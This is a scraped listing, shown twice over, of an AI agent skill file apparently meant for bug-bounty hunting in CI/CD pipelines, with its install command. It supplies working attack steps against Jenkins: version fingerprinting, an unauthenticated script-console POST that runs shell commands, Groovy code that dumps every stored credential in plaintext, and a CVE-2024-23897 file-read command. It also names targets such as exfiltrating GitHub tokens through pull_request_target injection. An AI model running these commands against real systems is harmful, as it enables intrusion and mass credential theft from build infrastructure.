hunt-cicd

Name: hunt-cicd
Author: elementalsouls

3.0kstars461forks

How to install hunt-cicd?

elementalsouls/claude-bughunter/hunt-cicd

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-cicd

Installs into the current project.

Summary

Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terra

Files · 1

View on GitHub

SKILL.md

1	# HUNT-CICD — CI/CD Pipeline Security
2
3	## Crown Jewel Targets
4
5	Jenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the PR head ref and references untrusted `${{ github.event.* }}` in a shell `run:` = "Pwnrequest" → secret exfil from a fork PR with zero approval.
6
7	Highest-value findings:
8	- Jenkins Script Console — Groovy execution → full RCE → dump the credential store
9	- Jenkins CLI file read (CVE-2024-23897) — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE
10	- GitHub Actions `pull_request_target` injection (Pwnrequest) — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets
11	- Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
12	- OIDC trust-policy abuse — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
13	- Terraform state leakage — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
14	- Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before `::add-mask::`
15
16	---
17
18	## "It-Didn't-Happen-Without-Proof" Gate (Read First)
19
20	CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:
21
22	1. A login page is not an RCE. A reachable `/script` URL that returns a Jenkins login or `403` is not an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.
23	2. A `pull_request_target` workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
24	3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
25	4. A `.tfstate` HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.
26
27	---
28
29	## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
30
31	```bash
32	# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
33	curl -sI "https://$TARGET/" \| grep -iE "x-jenkins\|x-hudson"
34	curl -sI "https://$TARGET/login" \| grep -i "x-jenkins-session"
35	for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
36	code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
37	echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
38	done
39	```
40
41	Unauthenticated script console → RCE (only if the POST returns output):
42	```bash
43	# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
44	# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
45	curl -s -X POST "https://$TARGET/scriptText" \
46	--data-urlencode 'script=println "id".execute().text'
47	```
48
49	Dump the credential store (Groovy decrypts secrets the UI masks):
50	```groovy
51	import com.cloudbees.plugins.credentials.CredentialsProvider
52	import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
53	import org.jenkinsci.plugins.plaincredentials.StringCredentials
54	CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
55	println "${it.id} :: ${it.username} :: ${it.password}"
56	}
57	CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
58	println "${it.id} :: ${it.secret}"
59	}
60	```
61
62	CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:
63	```bash
64	# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
65	java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"

People who liked this also viewed

6 picks

Type

hunt-cicd

3.0kstars461forks

View on GitHub

How to install hunt-cicd?

elementalsouls/claude-bughunter/hunt-cicd

$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-cicd

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# HUNT-CICD — CI/CD Pipeline Security
2
3	## Crown Jewel Targets
4
5	Jenkins `/script` console reachable = immediate RCE. A GitHub Actions `pull_request_target` (or `workflow_run`) workflow that checks out the PR head ref and references untrusted `${{ github.event.* }}` in a shell `run:` = "Pwnrequest" → secret exfil from a fork PR with zero approval.
6
7	Highest-value findings:
8	- Jenkins Script Console — Groovy execution → full RCE → dump the credential store
9	- Jenkins CLI file read (CVE-2024-23897) — pre-auth `@/etc/passwd` arg expansion → read `secret.key`/`credentials.xml` → forge admin → RCE
10	- GitHub Actions `pull_request_target` injection (Pwnrequest) — fork PR controls `${{ }}` inside a privileged shell step → exfil `GITHUB_TOKEN` (often `contents:write`) and org secrets
11	- Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
12	- OIDC trust-policy abuse — over-broad `sub` claim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role
13	- Terraform state leakage — `*.tfstate` in public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys
14	- Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before `::add-mask::`
15
16	---
17
18	## "It-Didn't-Happen-Without-Proof" Gate (Read First)
19
20	CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:
21
22	1. A login page is not an RCE. A reachable `/script` URL that returns a Jenkins login or `403` is not an unauthenticated script console. Only an actual `scriptText` POST returning your command's output counts.
23	2. A `pull_request_target` workflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR.
24	3. Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
25	4. A `.tfstate` HTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — many `tfstate` files contain only resource IDs and outputs, no secrets.
26
27	---
28
29	## Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
30
31	```bash
32	# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
33	curl -sI "https://$TARGET/" \| grep -iE "x-jenkins\|x-hudson"
34	curl -sI "https://$TARGET/login" \| grep -i "x-jenkins-session"
35	for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
36	code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
37	echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
38	done
39	```
40
41	Unauthenticated script console → RCE (only if the POST returns output):
42	```bash
43	# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
44	# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
45	curl -s -X POST "https://$TARGET/scriptText" \
46	--data-urlencode 'script=println "id".execute().text'
47	```
48
49	Dump the credential store (Groovy decrypts secrets the UI masks):
50	```groovy
51	import com.cloudbees.plugins.credentials.CredentialsProvider
52	import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
53	import org.jenkinsci.plugins.plaincredentials.StringCredentials
54	CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
55	println "${it.id} :: ${it.username} :: ${it.password}"
56	}
57	CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
58	println "${it.id} :: ${it.secret}"
59	}
60	```
61
62	CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j `@`-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading `secret.key` + `master.key` to decrypt `credentials.xml`, or reading a user's `config.xml` API token:
63	```bash
64	# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
65	java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"

People who liked this also viewed

6 picks

Type